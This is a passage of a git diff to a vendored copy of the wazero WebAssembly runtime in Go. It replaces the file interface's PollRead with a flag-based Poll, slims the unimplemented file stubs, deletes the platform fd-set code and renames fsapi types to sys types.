- // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the
- // same value.
- // - Windows allows you to stat a closed directory.
- Stat() (sys.Stat_t, experimentalsys.Errno)
-
- // Read attempts to read all bytes in the file into `buf`, and returns the
- // count read even on error.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed or not readable.
- // - EISDIR: the file was a directory.
- //
- // # Notes
- //
- // - This is like io.Reader and `read` in POSIX, preferring semantics of
- // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html
- // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To
- // read the file completely, the caller must repeat until `n` is zero.
- Read(buf []byte) (n int, errno experimentalsys.Errno)
-
- // Pread attempts to read all bytes in the file into `p`, starting at the
- // offset `off`, and returns the count read even on error.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed or not readable.
- // - EINVAL: the offset was negative.
- // - EISDIR: the file was a directory.
- //
- // # Notes
- //
- // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics
- // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html
- // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To
- // read the file completely, the caller must repeat until `n` is zero.
- Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno)
-
- // Seek attempts to set the next offset for Read or Write and returns the
- // resulting absolute offset or an error.
+ // Poll returns if the file has data ready to be read or written.
//
// # Parameters
//
- // The `offset` parameters is interpreted in terms of `whence`:
- // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets
- // the next Read or Write to the beginning of the file.
- // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets
- // the next Read or Write 16 bytes past the prior.
- // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the
- // next Read or Write to the last byte in the file.
- //
- // # Behavior when a directory
- //
- // The only supported use case for a directory is seeking to `offset` zero
- // (`whence` = io.SeekStart). This should have the same behavior as
- // os.File, which resets any internal state used by Readdir.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed or not readable.
- // - EINVAL: the offset was negative.
- //
- // # Notes
- //
- // - This is like io.Seeker and `fseek` in POSIX, preferring semantics
- // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html
- Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno)
-
- // PollRead returns if the file has data ready to be read or an error.
+ // The `flag` parameter determines which event to await, such as POLLIN,
+ // POLLOUT, or a combination like `POLLIN|POLLOUT`.
//
- // # Parameters
+ // The `timeoutMillis` parameter is how long to block for an event, or
+ // interrupted, in milliseconds. There are two special values:
+ // - zero returns immediately
+ // - any negative value blocks any amount of time
//
- // The `timeout` parameter when nil blocks up to forever.
+ // # Results
//
- // # Errors
+ // `ready` means there was data ready to read or written. False can mean no
+ // event was ready or `errno` is not zero.
//
- // A zero Errno is success. The below are expected otherwise:
+ // A zero `errno` is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
+ // - ENOTSUP: the implementation does not the flag combination.
+ // - EINTR: the call was interrupted prior to an event.
//
// # Notes
//
// - This is like `poll` in POSIX, for a single file.
// See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html
// - No-op files, such as those which read from /dev/null, should return
- // immediately true to avoid hangs (because data will never become
- // available).
- PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno)
-
- // Readdir reads the contents of the directory associated with file and
- // returns a slice of up to n Dirent values in an arbitrary order. This is
- // a stateful function, so subsequent calls return any next values.
- //
- // If n > 0, Readdir returns at most n entries or an error.
- // If n <= 0, Readdir returns all remaining entries or an error.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file was closed or not a directory.
- // - ENOENT: the directory could not be read (e.g. deleted).
- //
- // # Notes
- //
- // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX.
- // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
- // - Unlike os.File, there is no io.EOF returned on end-of-directory. To
- // read the directory completely, the caller must repeat until the
- // count read (`len(dirents)`) is less than `n`.
- // - See /RATIONALE.md for design notes.
- Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno)
-
- // Write attempts to write all bytes in `p` to the file, and returns the
- // count written even on error.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file was closed, not writeable, or a directory.
- //
- // # Notes
- //
- // - This is like io.Writer and `write` in POSIX, preferring semantics of
- // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html
- Write(buf []byte) (n int, errno experimentalsys.Errno)
-
- // Pwrite attempts to write all bytes in `p` to the file at the given
- // offset `off`, and returns the count written even on error.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed or not writeable.
- // - EINVAL: the offset was negative.
- // - EISDIR: the file was a directory.
- //
- // # Notes
- //
- // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics
- // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html
- Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno)
-
- // Truncate truncates a file to a specified length.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed.
- // - EINVAL: the `size` is negative.
- // - EISDIR: the file was a directory.
- //
- // # Notes
- //
- // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html
- // - Windows does not error when calling Truncate on a closed file.
- Truncate(size int64) experimentalsys.Errno
-
- // Sync synchronizes changes to the file.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - EBADF: the file or directory was closed.
- //
- // # Notes
- //
- // - This is like syscall.Fsync and `fsync` in POSIX. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html
- // - This returns with no error instead of ENOSYS when
- // unimplemented. This prevents fake filesystems from erring.
- // - Windows does not error when calling Sync on a closed file.
- Sync() experimentalsys.Errno
-
- // Datasync synchronizes the data of a file.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - EBADF: the file or directory was closed.
- //
- // # Notes
- //
- // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html
- // - This returns with no error instead of ENOSYS when
- // unimplemented. This prevents fake filesystems from erring.
- // - As this is commonly missing, some implementations dispatch to Sync.
- Datasync() experimentalsys.Errno
-
- // Utimens set file access and modification times of this file, at
- // nanosecond precision.
- //
- // # Parameters
- //
- // The `times` parameter includes the access and modification timestamps to
- // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be
- // specified instead of real timestamps. A nil `times` parameter behaves the
- // same as if both were set to UTIME_NOW.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed.
- //
- // # Notes
- //
- // - This is like syscall.UtimesNano and `futimens` in POSIX. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
- // - Windows requires files to be open with fsapi.O_RDWR, which means you
- // cannot use this to update timestamps on a directory (EPERM).
- Utimens(times *[2]syscall.Timespec) experimentalsys.Errno
-
- // Close closes the underlying file.
- //
- // A zero Errno is returned if unimplemented or success.
- //
- // # Notes
- //
- // - This is like syscall.Close and `close` in POSIX. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
- Close() experimentalsys.Errno
+ // immediately true, as data will never become available.
+ // - See /RATIONALE.md for detailed notes including impact of blocking.
+ Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno)
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go
new file mode 100644
index 0000000000..25f7c5711b
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go
@@ -0,0 +1,20 @@
+package fsapi
+
+// Pflag are bit flags used for File.Poll. Values, including zero, should not
+// be interpreted numerically. Instead, use by constants prefixed with 'POLL'.
+//
+// # Notes
+//
+// - This is like `pollfd.events` flags for `poll` in POSIX. See
+// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html
+type Pflag uint32
+
+// Only define bitflags we support and are needed by `poll_oneoff` in wasip1
+// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags
+const (
+ // POLLIN is a read event.
+ POLLIN Pflag = 1 << iota
+
+ // POLLOUT is a write event.
+ POLLOUT
+)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go
index b31cbd13f5..99d9c2db34 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go
@@ -1,193 +1,27 @@
package fsapi
-import (
- "io/fs"
- "syscall"
- "time"
+import experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/sys"
-)
-
-// UnimplementedFS is an FS that returns ENOSYS for all functions,
-// This should be embedded to have forward compatible implementations.
-type UnimplementedFS struct{}
-
-// String implements fmt.Stringer
-func (UnimplementedFS) String() string {
- return "Unimplemented:/"
-}
-
-// Open implements the same method as documented on fs.FS
-func (UnimplementedFS) Open(name string) (fs.File, error) {
- return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS}
-}
-
-// OpenFile implements FS.OpenFile
-func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) {
- return nil, experimentalsys.ENOSYS
-}
-
-// Lstat implements FS.Lstat
-func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
- return sys.Stat_t{}, experimentalsys.ENOSYS
-}
-
-// Stat implements FS.Stat
-func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
- return sys.Stat_t{}, experimentalsys.ENOSYS
-}
-
-// Readlink implements FS.Readlink
-func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) {
- return "", experimentalsys.ENOSYS
-}
-
-// Mkdir implements FS.Mkdir
-func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Chmod implements FS.Chmod
-func (UnimplementedFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Rename implements FS.Rename
-func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Rmdir implements FS.Rmdir
-func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Link implements FS.Link
-func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Symlink implements FS.Symlink
-func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Unlink implements FS.Unlink
-func (UnimplementedFS) Unlink(path string) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Utimens implements FS.Utimens
-func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Truncate implements FS.Truncate
-func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// UnimplementedFile is a File that returns ENOSYS for all functions,
-// except where no-op are otherwise documented.
-//
-// This should be embedded to have forward compatible implementations.
-type UnimplementedFile struct{}
-
-// Dev implements File.Dev
-func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) {
- return 0, 0
-}
-
-// Ino implements File.Ino
-func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) {
- return 0, 0
-}
-
-// IsDir implements File.IsDir
-func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) {
- return false, 0
+func Adapt(f experimentalsys.File) File {
+ if f, ok := f.(File); ok {
+ return f
+ }
+ return unimplementedFile{f}
}
-// IsAppend implements File.IsAppend
-func (UnimplementedFile) IsAppend() bool {
- return false
-}
-
-// SetAppend implements File.SetAppend
-func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
+type unimplementedFile struct{ experimentalsys.File }
// IsNonblock implements File.IsNonblock
-func (UnimplementedFile) IsNonblock() bool {
+func (unimplementedFile) IsNonblock() bool {
return false
}
// SetNonblock implements File.SetNonblock
-func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno {
+func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
-// Stat implements File.Stat
-func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
- return sys.Stat_t{}, experimentalsys.ENOSYS
-}
-
-// Read implements File.Read
-func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) {
- return 0, experimentalsys.ENOSYS
-}
-
-// Pread implements File.Pread
-func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
- return 0, experimentalsys.ENOSYS
-}
-
-// Seek implements File.Seek
-func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) {
- return 0, experimentalsys.ENOSYS
-}
-
-// Readdir implements File.Readdir
-func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) {
- return nil, experimentalsys.ENOSYS
-}
-
-// PollRead implements File.PollRead
-func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
+// Poll implements File.Poll
+func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) {
return false, experimentalsys.ENOSYS
}
-
-// Write implements File.Write
-func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) {
- return 0, experimentalsys.ENOSYS
-}
-
-// Pwrite implements File.Pwrite
-func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
- return 0, experimentalsys.ENOSYS
-}
-
-// Truncate implements File.Truncate
-func (UnimplementedFile) Truncate(int64) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Sync implements File.Sync
-func (UnimplementedFile) Sync() experimentalsys.Errno {
- return 0 // not ENOSYS
-}
-
-// Datasync implements File.Datasync
-func (UnimplementedFile) Datasync() experimentalsys.Errno {
- return 0 // not ENOSYS
-}
-
-// Utimens implements File.Utimens
-func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno {
- return experimentalsys.ENOSYS
-}
-
-// Close implements File.Close
-func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return }
diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go
deleted file mode 100644
index 1017c805ac..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go
+++ /dev/null
@@ -1,25 +0,0 @@
-//go:build !windows
-
-package platform
-
-// Set adds the given fd to the set.
-func (f *FdSet) Set(fd int) {
- f.Bits[fd/nfdbits] |= (1 << (uintptr(fd) % nfdbits))
-}
-
-// Clear removes the given fd from the set.
-func (f *FdSet) Clear(fd int) {
- f.Bits[fd/nfdbits] &^= (1 << (uintptr(fd) % nfdbits))
-}
-
-// IsSet returns true when fd is in the set.
-func (f *FdSet) IsSet(fd int) bool {
- return f.Bits[fd/nfdbits]&(1<<(uintptr(fd)%nfdbits)) != 0
-}
-
-// Zero clears the set.
-func (f *FdSet) Zero() {
- for i := range f.Bits {
- f.Bits[i] = 0
- }
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go
deleted file mode 100644
index da52339cbc..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go
+++ /dev/null
@@ -1,8 +0,0 @@
-package platform
-
-import "syscall"
-
-const nfdbits = 0x20
-
-// FdSet re-exports syscall.FdSet with utility methods.
-type FdSet syscall.FdSet
diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go
deleted file mode 100644
index f392caf4c1..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go
+++ /dev/null
@@ -1,8 +0,0 @@
-package platform
-
-import "syscall"
-
-const nfdbits = 0x40
-
-// FdSet re-exports syscall.FdSet with utility methods.
-type FdSet syscall.FdSet
diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go
deleted file mode 100644
index ad9cf09109..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go
+++ /dev/null
@@ -1,10 +0,0 @@
-//go:build !darwin && !linux && !windows
-
-package platform
-
-const nfdbits = 0x40
-
-// FdSet mocks syscall.FdSet on systems that do not support it.
-type FdSet struct {
- Bits [16]int64
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go
deleted file mode 100644
index 60773ed54a..0000000000
--- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go
+++ /dev/null
@@ -1,239 +0,0 @@
-package platform
-
-import (
- "syscall"
- "unsafe"
-)
-
-var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo")
-
-// Maximum number of fds in a WinSockFdSet.
-const _FD_SETSIZE = 64
-
-// WinSockFdSet implements the FdSet representation that is used internally by WinSock.
-//
-// Note: this representation is quite different from the one used in most POSIX implementations
-// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair.
-// Notice that because it keeps a count of the inserted handles, the first argument of select
-// in WinSock is actually ignored.
-//
-// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly
-// the real implementation found in WinSock2.h, e.g. see:
-// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175
-type WinSockFdSet struct {
- // count is the number of used slots used in the handles slice.
- count uint64
- // handles is the array of handles. This is called "array" in the WinSock implementation
- // and it has a fixed length of _FD_SETSIZE.
- handles [_FD_SETSIZE]syscall.Handle
-}
-
-// FdSet implements the same methods provided on other plaforms.
-//
-// Note: the implementation is very different from POSIX; Windows provides
-// POSIX select only for sockets. We emulate a select for other APIs in the sysfs
-// package, but we still want to use the "real" select in the case of sockets.
-// So, we keep separate FdSets for sockets, pipes and regular files, so that we can
-// handle them separately. For instance sockets can be used directly in winsock select.
-type FdSet struct {
- sockets WinSockFdSet
- pipes WinSockFdSet
- regular WinSockFdSet
-}
-
-// SetAll overwrites all the fields in f with the fields in g.
-func (f *FdSet) SetAll(g *FdSet) {
- if f == nil {
- return
- }
- f.sockets = g.sockets
- f.pipes = g.pipes
- f.regular = g.regular
-}
-
-// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets.
-func (f *FdSet) Sockets() *WinSockFdSet {
- if f == nil {
- return nil
- }
- return &f.sockets
-}
-
-// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files.
-func (f *FdSet) Regular() *WinSockFdSet {
- if f == nil {
- return nil
- }
- return &f.regular
-}
-
-// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes.
-func (f *FdSet) Pipes() *WinSockFdSet {
- if f == nil {
- return nil
- }
- return &f.pipes
-}
-
-// getFdSetFor returns a pointer to the right fd set for the given fd.
-// It checks the type for fd and returns the field for pipes, regular or sockets
-// to simplify code.
-//
-// For instance, if fd is a socket and it must be set if f.pipes, instead
-// of writing:
-//
-// if isSocket(fd) {
-// f.sockets.Set(fd)
-// }
-//
-// It is possible to write:
-//
-// f.getFdSetFor(fd).Set(fd)
-func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet {
- h := syscall.Handle(fd)
- t, err := syscall.GetFileType(h)
- if err != nil {
- return nil
- }
- switch t {
- case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK:
- return &f.regular
- case syscall.FILE_TYPE_PIPE:
- if isSocket(h) {
- return &f.sockets
- } else {
- return &f.pipes
- }
- default:
- return nil
- }
-}
-
-// Set adds the given fd to the set.
-func (f *FdSet) Set(fd int) {
- if s := f.getFdSetFor(fd); s != nil {
- s.Set(fd)
- }
-}
-
-// Clear removes the given fd from the set.
-func (f *FdSet) Clear(fd int) {
- if s := f.getFdSetFor(fd); s != nil {
- s.Clear(fd)
- }
-}
-
-// IsSet returns true when fd is in the set.
-func (f *FdSet) IsSet(fd int) bool {
- if s := f.getFdSetFor(fd); s != nil {
- return s.IsSet(fd)
- }
- return false
-}
-
-// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil.
-func (f *FdSet) Copy() *FdSet {
- if f == nil {
- return nil
- }
- return &FdSet{
- sockets: f.sockets,
- pipes: f.pipes,
- regular: f.regular,
- }
-}
-
-// Zero clears the set. It returns 0 if the FdSet is nil.
-func (f *FdSet) Count() int {
- if f == nil {
- return 0
- }
- return f.sockets.Count() + f.regular.Count() + f.pipes.Count()
-}
-
-// Zero clears the set.
-func (f *FdSet) Zero() {
- if f == nil {
- return
- }
- f.sockets.Zero()
- f.regular.Zero()
- f.pipes.Zero()
-}
-
-// Set adds the given fd to the set.
-func (f *WinSockFdSet) Set(fd int) {
- if f.count < _FD_SETSIZE {
- f.handles[f.count] = syscall.Handle(fd)
- f.count++
- }
-}
-
-// Clear removes the given fd from the set.
-func (f *WinSockFdSet) Clear(fd int) {
- h := syscall.Handle(fd)
- for i := uint64(0); i < f.count; i++ {
- if f.handles[i] == h {
- for ; i < f.count-1; i++ {
- f.handles[i] = f.handles[i+1]
- }
- f.count--
- break
- }
- }
-}
-
-// IsSet returns true when fd is in the set.
-func (f *WinSockFdSet) IsSet(fd int) bool {
- h := syscall.Handle(fd)
- for i := uint64(0); i < f.count; i++ {
- if f.handles[i] == h {
- return true
- }
- }
- return false
-}
-
-// Zero clears the set.
-func (f *WinSockFdSet) Zero() {
- if f == nil {
- return
- }
- f.handles = [64]syscall.Handle{}
- f.count = 0
-}
-
-// Count returns the number of values that are set in the fd set.
-func (f *WinSockFdSet) Count() int {
- if f == nil {
- return 0
- }
- return int(f.count)
-}
-
-// Copy returns a copy of the fd set or nil if it is nil.
-func (f *WinSockFdSet) Copy() *WinSockFdSet {
- if f == nil {
- return nil
- }
- copy := *f
- return ©
-}
-
-// Get returns the handle at the given index.
-func (f *WinSockFdSet) Get(index int) syscall.Handle {
- return f.handles[index]
-}
-
-// isSocket returns true if the given file handle
-// is a pipe.
-func isSocket(fd syscall.Handle) bool {
- r, _, errno := syscall.SyscallN(
- procGetNamedPipeInfo.Addr(),
- uintptr(fd),
- uintptr(unsafe.Pointer(nil)),
- uintptr(unsafe.Pointer(nil)),
- uintptr(unsafe.Pointer(nil)),
- uintptr(unsafe.Pointer(nil)))
- return r == 0 || errno != 0
-}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go
index c49d1fbb22..ca17aa39ee 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go
@@ -5,25 +5,24 @@ import (
"net"
"github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
)
// TCPSock is a pseudo-file representing a TCP socket.
type TCPSock interface {
- fsapi.File
+ sys.File
Accept() (TCPConn, sys.Errno)
}
// TCPConn is a pseudo-file representing a TCP connection.
type TCPConn interface {
- fsapi.File
+ sys.File
// Recvfrom only supports the flag sysfs.MSG_PEEK
- // TODO: document this like fsapi.File with known sys.Errno
+ // TODO: document this like sys.File with known sys.Errno
Recvfrom(p []byte, flags int) (n int, errno sys.Errno)
- // TODO: document this like fsapi.File with known sys.Errno
+ // TODO: document this like sys.File with known sys.Errno
Shutdown(how int) sys.Errno
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go
new file mode 100644
index 0000000000..30cdb9f926
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go
@@ -0,0 +1,11 @@
+//go:build !plan9 && !js
+
+package sock
+
+import "syscall"
+
+const (
+ SHUT_RD = syscall.SHUT_RD
+ SHUT_RDWR = syscall.SHUT_RDWR
+ SHUT_WR = syscall.SHUT_WR
+)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go
new file mode 100644
index 0000000000..76ec031efa
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go
@@ -0,0 +1,10 @@
+//go:build plan9 || js
+
+package sock
+
+// plan9/js doesn't declare these constants
+const (
+ SHUT_RD = 1 << iota
+ SHUT_WR
+ SHUT_RDWR = SHUT_RD | SHUT_WR
+)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go
index f85e2ff24e..332a952626 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go
@@ -48,7 +48,7 @@ type FileEntry struct {
IsPreopen bool
// FS is the filesystem associated with the pre-open.
- FS fsapi.FS
+ FS sys.FS
// File is always non-nil.
File fsapi.File
@@ -91,7 +91,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) {
return f.direntCache, 0
}
-// DirentCache is a caching abstraction of fsapi.File Readdir.
+// DirentCache is a caching abstraction of sys.File Readdir.
//
// This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be
// unneeded, or require changes, to support preview1 or preview2.
@@ -99,7 +99,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) {
// described below, any may need to be re-read. This accepts any positions
// in the cache, rather than track the position of the last dirent.
// - dot entries ("." and "..") must be returned. See /RATIONALE.md for why.
-// - An fsapi.Dirent Name is variable length, it could exceed memory size and
+// - An sys.Dirent Name is variable length, it could exceed memory size and
// need to be re-read.
// - Multiple dirents may be returned. It is more efficient to read from the
// underlying file in bulk vs one-at-a-time.
@@ -110,17 +110,17 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) {
// approach is sometimes called a sliding window.
type DirentCache struct {
// f is the underlying file
- f fsapi.File
+ f sys.File
// dotEntries are the "." and ".." entries added when the directory is
// initialized.
- dotEntries []fsapi.Dirent
+ dotEntries []sys.Dirent
// dirents are the potentially unread directory entries.
//
// Internal detail: nil is different from zero length. Zero length is an
// exhausted directory (eof). nil means the re-read.
- dirents []fsapi.Dirent
+ dirents []sys.Dirent
// countRead is the total count of dirents read since last rewind.
countRead uint64
@@ -132,28 +132,28 @@ type DirentCache struct {
}
// synthesizeDotEntries generates a slice of the two elements "." and "..".
-func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) {
+func synthesizeDotEntries(f *FileEntry) ([]sys.Dirent, sys.Errno) {
dotIno, errno := f.File.Ino()
if errno != 0 {
return nil, errno
}
- result := [2]fsapi.Dirent{}
- result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir}
+ result := [2]sys.Dirent{}
+ result[0] = sys.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir}
// See /RATIONALE.md for why we don't attempt to get an inode for ".." and
// why in wasi-libc this won't fan-out either.
- result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir}
+ result[1] = sys.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir}
return result[:], 0
}
// exhaustedDirents avoids allocating empty slices.
-var exhaustedDirents = [0]fsapi.Dirent{}
+var exhaustedDirents = [0]sys.Dirent{}
-// Read is similar to and returns the same errors as `Readdir` on fsapi.File.
+// Read is similar to and returns the same errors as `Readdir` on sys.File.
// The main difference is this caches entries returned, resulting in multiple
// valid positions to read from.
//
// When zero, `pos` means rewind to the beginning of this directory. This
-// implies a rewind (Seek to zero on the underlying fsapi.File), unless the
+// implies a rewind (Seek to zero on the underlying sys.File), unless the
// initial entries are still cached.
//
// When non-zero, `pos` is the zero based index of all dirents returned since
@@ -162,9 +162,9 @@ var exhaustedDirents = [0]fsapi.Dirent{}
// described on DirentCache documentation.
//
// Up to `n` entries are cached and returned. When `n` exceeds the cache, the
-// difference are read from the underlying fsapi.File via `Readdir`. EOF is
+// difference are read from the underlying sys.File via `Readdir`. EOF is
// when `len(dirents)` returned are less than `n`.
-func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) {
+func (d *DirentCache) Read(pos uint64, n uint32) (dirents []sys.Dirent, errno sys.Errno) {
switch {
case pos > d.countRead: // farther than read or negative coerced to uint64.
return nil, sys.ENOENT
